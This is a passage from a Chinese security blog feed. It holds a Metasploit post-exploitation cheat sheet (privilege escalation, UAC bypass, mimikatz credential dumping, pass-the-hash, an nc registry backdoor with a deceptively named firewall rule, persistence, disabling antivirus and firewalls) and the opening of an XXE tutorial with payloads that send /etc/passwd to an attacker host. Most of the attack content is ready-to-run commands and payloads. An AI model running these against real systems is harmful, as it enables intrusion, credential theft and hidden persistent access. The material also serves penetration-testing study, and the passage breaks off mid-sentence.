exploits/windows/local/service_permissions,利用服务替换进行权限提升</span></span><br><span class="line">run service_permissions_escalate</span><br><span class="line"></span><br><span class="line"><span class="comment"># 记录一定时长的音频</span></span><br><span class="line">run sound_recorder</span><br><span class="line">run srt_webdrive_priv</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/manage/download_exec,下载文件,可以指定下载完后立即执行</span></span><br><span class="line">run uploadexec</span><br><span class="line"></span><br><span class="line"><span class="comment"># 尝试触发一个久远的漏洞 VirtualBox DoS http://milw0rm.com/exploits/9323</span></span><br><span class="line">run virtualbox_sysenter_dos</span><br><span class="line"></span><br><span class="line"><span class="comment"># 绕过 Mcafee VirusScan Enterprise v8.7.0i+,上传一个payload使其开机运行,需要administrator</span></span><br><span class="line">run virusscan_bypass</span><br><span class="line"></span><br><span class="line"><span class="comment"># 启动 vnc 服务</span></span><br><span class="line">run vnc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/manage/webcam,检测摄像头设备,拍照</span></span><br><span class="line">run webcam</span><br><span class="line">run winbf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 自动化执行一些检测脚本</span></span><br><span class="line">run winenum</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/gather/wmic_command</span></span><br><span class="line">run wmic</span><br></pre></td></tr></table></figure>
<p>post:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">run post/multi/gather/env <span class="comment"># 获取用户环境变量</span></span><br><span class="line">run post/windows/gather/enum_logged_on_users -c <span class="comment"># 列出当前登录用户</span></span><br><span class="line">run post/linux/gather/checkvm <span class="comment"># 是否虚拟机</span></span><br><span class="line">run post/windows/gather/checkvm <span class="comment"># 是否虚拟机</span></span><br><span class="line">run post/windows/gather/forensics/enum_drives <span class="comment"># 查看存储器信息</span></span><br><span class="line">run post/windows/gather/enum_applications <span class="comment"># 获取安装软件信息</span></span><br><span class="line">run post/windows/gather/dumplinks <span class="comment"># 获取最近访问过的文档、链接信息</span></span><br><span class="line">run post/windows/gather/enum_ie <span class="comment"># 获取IE缓存</span></span><br><span class="line">run post/windows/gather/enum_firefox <span class="comment"># 获取firefox缓存</span></span><br><span class="line">run post/windows/gather/enum_chrome <span class="comment"># 获取Chrome缓存</span></span><br><span class="line">run post/multi/recon/<span class="built_in">local</span>_exploit_suggester <span class="comment"># 获取本地提权漏洞</span></span><br><span class="line">run post/windows/gather/enum_patches <span class="comment"># 获取补丁信息</span></span><br><span class="line">run post/windows/gather/enum_domain <span class="comment"># 查找域控</span></span><br><span class="line">run post/windows/gather/enum_snmp <span class="comment"># 获取snmp团体名称</span></span><br><span class="line">run post/windows/gather/credentials/vnc <span class="comment"># 获取vnc密码</span></span><br><span class="line">run post/windows/wlan/wlan_profile <span class="comment"># 用于读取目标主机WiFi密码</span></span><br><span class="line">run post/multi/gather/wlan_geolocate <span class="comment"># 基于wlan进行地理位置确认 文件位于/root/.msf4/loot</span></span><br><span class="line">run post/windows/manage/killav 关闭杀毒软件</span><br></pre></td></tr></table></figure>
<h3 id="提权-1"><a href="#提权-1" class="headerlink" title="提权"></a>提权</h3><p><code>use post/windows/escalate/</code></p>
<h4 id="getsystem"><a href="#getsystem" class="headerlink" title="getsystem"></a>getsystem</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">meterpreter > getsystem</span><br></pre></td></tr></table></figure>
<h4 id="根据补丁提权"><a href="#根据补丁提权" class="headerlink" title="根据补丁提权"></a>根据补丁提权</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">run post/windows/gather/enum_patches <span class="comment">#查看补丁信息</span></span><br><span class="line">background</span><br><span class="line">search MS10-015</span><br><span class="line">use exploit/windows/<span class="built_in">local</span>/ms10_015_kitrap0d</span><br><span class="line"><span class="built_in">set</span> session 8</span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<h4 id="绕过-UAC-提权"><a href="#绕过-UAC-提权" class="headerlink" title="绕过 UAC 提权"></a>绕过 UAC 提权</h4><p>使用 bypassuac 提权<br>msf 内置一些 bypassuac 脚本,原理不同,使用方法类似,执行后返回一个新的会话,再次执行 getsystem 即可提权</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">exploit/windows/<span class="built_in">local</span>/bypassuac</span><br><span class="line">exploit/windows/<span class="built_in">local</span>/bypassuac_eventvwr</span><br><span class="line">exploit/windows/<span class="built_in">local</span>/bypassuac_injection</span><br><span class="line">exploit/windows/<span class="built_in">local</span>/bypassuac_injection_winsxs</span><br><span class="line">exploit/windows/<span class="built_in">local</span>/bypassuac_silentcleanup</span><br><span class="line">exploit/windows/<span class="built_in">local</span>/bypassuac_vbs</span><br><span class="line">使用命令getsystem提权失败,然后利用bypassuac来提权,这里利用exploit/windows/<span class="built_in">local</span>/bypassuac模块(32位、64位都有效)</span><br><span class="line"></span><br><span class="line">use exploit/windows/<span class="built_in">local</span>/bypassuac</span><br><span class="line"><span class="built_in">set</span> session 1</span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<h4 id="使用-RunAs-提权"><a href="#使用-RunAs-提权" class="headerlink" title="使用 RunAs 提权"></a>使用 RunAs 提权</h4><p>该方法利用<code>exploit/windows/local/ask</code>模块(32 位、64 位都有效),创建一个可执行文件并在目标机上发起一个提升权限请求的程序,触发系统 UAC,提示用户是否要继续,如果用户选择“是”,则会返回一个高权限的 meterpreter shell。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">use exploit/windows/<span class="built_in">local</span>/ask</span><br><span class="line"><span class="built_in">set</span> filename update.exe <span class="comment"># 设置反弹程序名称</span></span><br><span class="line"><span class="built_in">set</span> session 1</span><br><span class="line">run</span><br><span class="line"><span class="comment"># 输入run命令以后会在目标机上弹出UAC,提示用户是否允许,选择是就会返回一个高权限的meterpreter shell。</span></span><br></pre></td></tr></table></figure>
<p>注意事项:<br>使用 RunAs 模块进行提权时,系统当前用户须在管理员组或者知道管理员的密码,用户账户控制程序 UAC 设置则没有要求。使用 RunAs 模块进行提权时,会创建一个可执行文件,为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用 EXE::Custom 选项。</p>
<h4 id="假冒令牌提权"><a href="#假冒令牌提权" class="headerlink" title="假冒令牌提权"></a>假冒令牌提权</h4><p>令牌是系统临时密钥,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。一般有两种类型的令牌,一种是 Delegation Tokens,也就是授权令牌,它支持交互式登录(例如远程桌面登陆登录)。还有一种是 Impersonation Tokens,也就是模拟令牌,它是非交互的会话(例如访问文件共享)。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">use incognito <span class="comment"># 加载窃取令牌模块</span></span><br><span class="line">list_tokens -u <span class="comment"># 查看可用的用户令牌</span></span><br><span class="line">list_tokens -g <span class="comment"># 查看可用的用户组令牌</span></span><br><span class="line">impersonate_token <span class="string">'NT AUTHORITY\SYSTEM'</span> <span class="comment"># 假冒SYSTEM token</span></span><br><span class="line">rev2self <span class="comment">#返回原始token</span></span><br></pre></td></tr></table></figure>
<h4 id="利用-AlwaysInstallElevated-提权"><a href="#利用-AlwaysInstallElevated-提权" class="headerlink" title="利用 AlwaysInstallElevated 提权"></a>利用 AlwaysInstallElevated 提权</h4><p>AlwaysInstallElevated 是一个策略设置。微软允许非授权用户以 SYSTEM 权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的 MSI 文件就可以进行管理员权限的提升。</p>
<p>查看 AlwaysInstallElevated 是否被定义</p>
<p>不过利用此方法有个前提条件,需要有两个注册表的键值为 1,我们可以在 cmdshell 下查看 AlwaysInstallElevated 是否被定义</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</span><br><span class="line">reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</span><br></pre></td></tr></table></figure>
<p>如果需要开启可以选择以下方法:</p>
<ol>
<li>打开组策略编辑器(运行框输入 gpedit.msc)</li>
<li>组策略->计算机配置->管理模版->Windows 组件->Windows Installer->永远以高特权进行安装:选择启用</li>
<li>组策略->用户配置->管理模版->Windows 组件->Windows Installer->永远以高特权进行安装:选择启用</li>
</ol>
<h4 id="生成-MSI-安装文件"><a href="#生成-MSI-安装文件" class="headerlink" title="生成 MSI 安装文件"></a>生成 MSI 安装文件</h4><p>利用 msfvenom 命令生成一个在目标机上增加管理员用户的 MSI 安装文件,这里密码要设置为强密码,否则会报错。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/adduser USER=msi PASS=Abc123@@ <span class="_">-f</span> msi -o msi.msi</span><br><span class="line">上传并执行MSI文件</span><br><span class="line">upload msi.msi c:\\Users\\<span class="built_in">test</span> <span class="comment"># 部分目录由于权限原因可能上传失败</span></span><br><span class="line">msiexec /quiet /qn /i msi.msi <span class="comment"># /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序</span></span><br><span class="line">net localgroup administrators</span><br><span class="line"><span class="comment"># 执行成功后查看管理员组发现用户已经添加成功</span></span><br></pre></td></tr></table></figure>
<p>注意:<br>由于是 msf 生成的 msi 文件,所以默认会被杀毒软件拦截,需要做好免杀</p>
<h3 id="窃取-hash"><a href="#窃取-hash" class="headerlink" title="窃取 hash"></a>窃取 hash</h3><h4 id="hashdump"><a href="#hashdump" class="headerlink" title="hashdump"></a>hashdump</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hashdump</span><br><span class="line">run post/windows/gather/smart_hashdump</span><br></pre></td></tr></table></figure>
<h4 id="mimikatz"><a href="#mimikatz" class="headerlink" title="mimikatz"></a>mimikatz</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">load mimikatz <span class="comment"># 加载mimikatz模块</span></span><br><span class="line">msv <span class="comment"># 获取用户和hash值</span></span><br><span class="line">kerberos <span class="comment"># 获取内存中的明文密码信息</span></span><br><span class="line">wdigest <span class="comment"># 获取内存中的明文密码信息</span></span><br><span class="line">mimikatz_<span class="built_in">command</span> <span class="_">-f</span> a:: <span class="comment"># 需要以错误的模块来让正确的模块显示</span></span><br><span class="line">mimikatz_<span class="built_in">command</span> <span class="_">-f</span> sekurlsa::searchPasswords <span class="comment"># 获取用户密码</span></span><br><span class="line">mimikatz_<span class="built_in">command</span> <span class="_">-f</span> samdump::hashes <span class="comment"># 执行用户hash</span></span><br></pre></td></tr></table></figure>
<h4 id="kiwi"><a href="#kiwi" class="headerlink" title="kiwi"></a>kiwi</h4><p>kiwi 是利用的 mimikatz 扩展,运行需要 SYSTEM 权限</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">load kiwi</span><br><span class="line">creds_all</span><br></pre></td></tr></table></figure>
<h3 id="哈希传递"><a href="#哈希传递" class="headerlink" title="哈希传递"></a>哈希传递</h3><p>利用 hashdump 得到用户的 hash 后可利用 psexec 模块进行哈希传递攻击。<br>使用 psexec 的前提:SMB 服务必须开启,也就是开启 445 端口;Admin\$可以访问。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">use exploit/windows/smb/psexec</span><br><span class="line"><span class="built_in">set</span> payload windows/meterpreter/reverse_tcp</span><br><span class="line"><span class="built_in">set</span> LHOST 192.168.183.147</span><br><span class="line"><span class="built_in">set</span> LPORT 443</span><br><span class="line"><span class="built_in">set</span> RHOST 192.168.183.154</span><br><span class="line"><span class="built_in">set</span> SMBUSER Administrator</span><br><span class="line"><span class="built_in">set</span> SMBPASS ccf**4ee:3db**678</span><br><span class="line"><span class="built_in">set</span> SMBDOMAIN WORKGROUP <span class="comment"># 域用户需要设置SMBDOMAIN</span></span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<h3 id="RDP"><a href="#RDP" class="headerlink" title="RDP"></a>RDP</h3><h4 id="enable-rdp-脚本"><a href="#enable-rdp-脚本" class="headerlink" title="enable_rdp 脚本"></a>enable_rdp 脚本</h4><p>通过 enable_rdp 脚本将用户添加到远程桌面用户组和管理员用户组</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">run post/windows/manage/<span class="built_in">enable</span>_rdp <span class="comment">#开启远程桌面</span></span><br><span class="line">run post/windows/manage/<span class="built_in">enable</span>_rdp USERNAME=admin PASSWORD=admin <span class="comment"># 添加用户</span></span><br><span class="line">run post/windows/manage/<span class="built_in">enable</span>_rdp FORWARD=<span class="literal">true</span> LPORT=6667 <span class="comment"># 将3389端口转发到6667</span></span><br></pre></td></tr></table></figure>
<h3 id="注册表操作"><a href="#注册表操作" class="headerlink" title="注册表操作"></a>注册表操作</h3><h4 id="注册表基本命令"><a href="#注册表基本命令" class="headerlink" title="注册表基本命令"></a>注册表基本命令</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">reg –h # 查看帮助</span><br><span class="line">-k 注册表的路径 -v 键的名称 -d 键值</span><br><span class="line">reg enumkey [-k <key>] # 枚举注册表的内容</span><br><span class="line">reg createkey [-k <key>] # 创建注册表项</span><br><span class="line">reg deletekey [-k <key>] # 删除注册表项</span><br><span class="line">reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容</span><br><span class="line">reg deleteval [-k <key> -v <val>] # 删除注册表的值</span><br><span class="line">reg queryval [-k <key> -v <val>] # 查询注册表的值</span><br></pre></td></tr></table></figure>
<h4 id="利用注册表添加-nc-后门"><a href="#利用注册表添加-nc-后门" class="headerlink" title="利用注册表添加 nc 后门"></a>利用注册表添加 nc 后门</h4><p>1.编辑注册表,添加 nc 到系统启动项中,形成后门程序。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 <span class="comment"># 上传nc到目标主机</span></span><br><span class="line">reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run <span class="comment"># 枚举注册表run下的键值</span></span><br><span class="line">reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v <span class="built_in">test</span>_nc <span class="_">-d</span> <span class="string">'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'</span> <span class="comment"># 设置键值 -v 键的名称 -d 键值</span></span><br><span class="line">reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v <span class="built_in">test</span>_nc <span class="comment"># 查看test_nc的键值</span></span><br></pre></td></tr></table></figure>
<p>2.设置防火墙允许通过 443 端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">shell</span><br><span class="line">netsh firewall show opmode <span class="comment"># 查看防火墙状态</span></span><br><span class="line">netsh firewall add portopening TCP 443 <span class="string">"网络发现(Pub PSD-Out)"</span> ENABLE ALL <span class="comment"># 添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)</span></span><br></pre></td></tr></table></figure>
<p>3.待目标主机重启后,自启 nc 程序,然后我们利用 nc 连接即可</p>
<h3 id="后门植入"><a href="#后门植入" class="headerlink" title="后门植入"></a>后门植入</h3><h4 id="Persistence-通过启动项安装"><a href="#Persistence-通过启动项安装" class="headerlink" title="Persistence(通过启动项安装)"></a>Persistence(通过启动项安装)</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">run persistence –h <span class="comment"># 查看帮助</span></span><br><span class="line">run persistence -X -i 5 -p 4444 -r 192.168.183.147</span><br><span class="line">run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32</span><br><span class="line">-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数</span><br><span class="line">-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息</span><br><span class="line">-L:后门传到远程主机的位置默认为%TEMP%</span><br><span class="line">-i:设置反向连接间隔时间为5秒</span><br><span class="line">-p:设置反向连接的端口号</span><br><span class="line">-r:设置反向连接的ip地址</span><br></pre></td></tr></table></figure>
<h4 id="Metsvc-通过服务安装-植入后门"><a href="#Metsvc-通过服务安装-植入后门" class="headerlink" title="Metsvc(通过服务安装)植入后门"></a>Metsvc(通过服务安装)植入后门</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">run metsvc -h <span class="comment"># 查看帮助</span></span><br><span class="line">run metsvc -A <span class="comment"># 自动安装后门</span></span><br><span class="line">run metsvc -r <span class="comment"># 删除后门</span></span><br><span class="line"></span><br><span class="line">连接后门</span><br><span class="line">use exploit/multi/handler</span><br><span class="line"><span class="built_in">set</span> payload windows/metsvc_<span class="built_in">bind</span>_tcp</span><br><span class="line"><span class="built_in">set</span> rhost 192.168.183.169</span><br><span class="line"><span class="built_in">set</span> lport 31337</span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<h3 id="windows-cmd-常用"><a href="#windows-cmd-常用" class="headerlink" title="windows cmd 常用"></a>windows cmd 常用</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">whoami <span class="comment"># 当前权限</span></span><br><span class="line">quser <span class="comment"># 查询当前在线的管理员</span></span><br><span class="line">net user <span class="comment"># 查看存在用户</span></span><br><span class="line">net user 用户名 密码 /add <span class="comment"># 添加用户和对应密码</span></span><br><span class="line">net localgroup 用户组名 用户名 /add <span class="comment"># 将指定用户添加到指定用户组</span></span><br><span class="line">netstat -ano <span class="comment"># 查询当前计算机中网络连接通信情况,LISTENING表示该端口处于监听状态;ESTABLISHED表示该端口处于工作(通信)状态</span></span><br><span class="line">systeminfo <span class="comment"># 查看当前计算机中的详细情况</span></span><br><span class="line">tasklist /svc <span class="comment"># 查看每个进程所对应的服务</span></span><br><span class="line">taskkill /f /im 程序名称 <span class="comment"># 结束某个指定名称的程序</span></span><br><span class="line">taskkill /f /PID ID <span class="comment"># 结束某个指定PID的进程</span></span><br><span class="line">tasklist | findstr <span class="string">"字符串"</span> <span class="comment"># 查找输出结果中指定的内容</span></span><br><span class="line">logoff <span class="comment"># 注销某个指定用户的ID</span></span><br><span class="line">shutdown -r <span class="comment"># 重启当前计算机</span></span><br><span class="line">netsh adcfirewall <span class="built_in">set</span> allprofiles state off <span class="comment"># 关闭防火墙</span></span><br></pre></td></tr></table></figure>
<p>参考:<a href="https://xz.aliyun.com/t/6400" target="_blank" rel="external">https://xz.aliyun.com/t/6400</a></p>
]]></content>
<summary type="html">
<h1 id="低级-shell-升级到-meterpreter"><a href="#低级-shell-升级到-meterpreter" class="headerlink" title="低级 shell 升级到 meterpreter"></a>低级 shell 升级到 m
</summary>
<category term="tools" scheme="http://myt0.com/categories/tools/"/>
<category term="metasploit" scheme="http://myt0.com/tags/metasploit/"/>
<category term="meterpreter" scheme="http://myt0.com/tags/meterpreter/"/>
<category term="pentest" scheme="http://myt0.com/tags/pentest/"/>
</entry>
<entry>
<title>xxe 漏洞分析</title>
<link href="http://myt0.com/2020/02/28/xxe%E6%80%BB%E7%BB%93/"/>
<id>http://myt0.com/2020/02/28/xxe总结/</id>
<published>2020-02-28T08:50:40.000Z</published>
<updated>2020-02-28T09:03:51.912Z</updated>
<content type="html"><![CDATA[<h1 id="XXE:XML-外部实体注入漏洞"><a href="#XXE:XML-外部实体注入漏洞" class="headerlink" title="XXE:XML 外部实体注入漏洞"></a>XXE:XML 外部实体注入漏洞</h1><p>对客户端传入的数据未经检并且未禁止外部实体引入,解析 XML 时,导致调用实体命令。</p>
<p>XML 允许定义定制实体:</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE foo [<!ENTITY testref "testrefvalue">]</span><br><span class="line"><somexml></span><span class="tag"><<span class="name">message</span>></span>&testref;<span class="tag"></<span class="name">message</span>></span><span class="tag"></<span class="name">somexml</span>></span></span><br></pre></td></tr></table></figure>
<p>解析器将会用 testrefvalue 代替&testref;</p>
<h2 id="读取文件"><a href="#读取文件" class="headerlink" title="读取文件"></a>读取文件</h2><p>实体内容调用 file 协议:</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///window/win.ini">]></span></span><br><span class="line"><span class="tag"><<span class="name">somexml</span>></span><span class="tag"><<span class="name">message</span>></span>&xxe;<span class="tag"></<span class="name">message</span>></span><span class="tag"></<span class="name">somexml</span>></span></span><br></pre></td></tr></table></figure>
<h2 id="XXE-引起的-SSRF"><a href="#XXE-引起的-SSRF" class="headerlink" title="XXE 引起的 SSRF"></a>XXE 引起的 SSRF</h2><p>除了使用 file 协议访问本地文件外,也可使用 http:等协议通过网络提取资源,可以用于探测内网</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.99.1/"> ]></span></span><br></pre></td></tr></table></figure>
<p>可能导致攻击者将应用程序当做代理,探测企业内部网络,进而利用内部系统的漏洞。</p>
<h2 id="XXE-盲注"><a href="#XXE-盲注" class="headerlink" title="XXE 盲注"></a>XXE 盲注</h2><p>有时候不会回显读取结果,需要用带外技术确认漏洞。<br>攻击者监听一个自己的服务看是否会有请求过来:</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]></span></span><br></pre></td></tr></table></figure>
<h3 id="引入外部-DTD-文件,将内容传到攻击者服务器"><a href="#引入外部-DTD-文件,将内容传到攻击者服务器" class="headerlink" title="引入外部 DTD 文件,将内容传到攻击者服务器"></a>引入外部 DTD 文件,将内容传到攻击者服务器</h3><p>DTD 文件:</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY % file SYSTEM "file:///etc/passwd"></span><br><span class="line"><!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"></span><br><span class="line">%eval;</span><br><span class="line">%exfiltrate;</span><br></pre></td></tr></table></figure>
<p>然后请求服务器引入我们的 DTD 文件:</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE foo [<!ENTITY % xxe SYSTEM</span><br><span class="line">"http://web-attacker.com/malicious.dtd"> %xxe;]></span></span><br></pre></td></tr></table></figure>
<p>这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并内联解释。然后执行恶意 DTD 中定义的步骤,并将<code>/etc/passwd</code> 文件传输到攻击者的服务器。</p>
<h3 id="引入外部-DTD-报错读取文件"><a href="#引入外部-DTD-报错读取文件" class="headerlink" title="引入外部 DTD + 报错读取文件"></a>引入外部 DTD + 报错读取文件</h3><p>DTD 内容如下:</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY % file SYSTEM "file:///etc/passwd"></span><br><span class="line"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"></span><br><span class="line">%eval;</span><br><span class="line">%error;</span><br></pre></td></tr></table></figure>
<p>这时候如果引入此 DTD,由于<code>%file</code> 是<code>/etc/passwd</code> 的内容,所以 <code>error</code> 实体指定的文件并不存在,这个时候会报错如下:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash</span><br><span class="line">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span><br><span class="line">bin:x:2:2:bin:/bin:/usr/sbin/nologin</span><br></pre></td></tr></table></figure>
<h3 id="引入内部-DTD-报错读取"><a href="#引入内部-DTD-报错读取" class="headerlink" title="引入内部 DTD + 报错读取"></a>引入内部 DTD + 报错读取</h3><p>有时候服务器不允许引入外部 DTD,可以考虑查找一下是否有服务本地的 DTD 文件,利用其中定义的实体变量</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE foo [</span><br><span class="line"><!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"></span><br><span class="line"><!ENTITY % custom_entity '</span><br><span class="line"><!ENTITY &#x25; file SYSTEM "file:///etc/passwd"></span><br><span class="line"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"></span><br><span class="line">&#x25;eval;</span><br><span class="line">&#x25;error;</span><br><span class="line">'></span><br><span class="line">%local_dtd;</span><br><span class="line">]></span></span><br></pre></td></tr></table></figure>
<p>以上内容中的<code>custom_entity</code>实体在<code>file:///usr/local/app/schema.dtd</code>中已经存在,这时候重新定义这个实体的内容,引入 DTD 执行,触发我们定义的内容,进而报错,输出<code>/etc/passwd</code>的内容。</p>
<h3 id="如何找到这个内部-DTD"><a href="#如何找到这个内部-DTD" class="headerlink" title="如何找到这个内部 DTD"></a>如何找到这个内部 DTD</h3><p>如果找不到就会报错,所以可以尝试常见的<code>linux</code>本地<code>DTD</code>文件,比如</p>
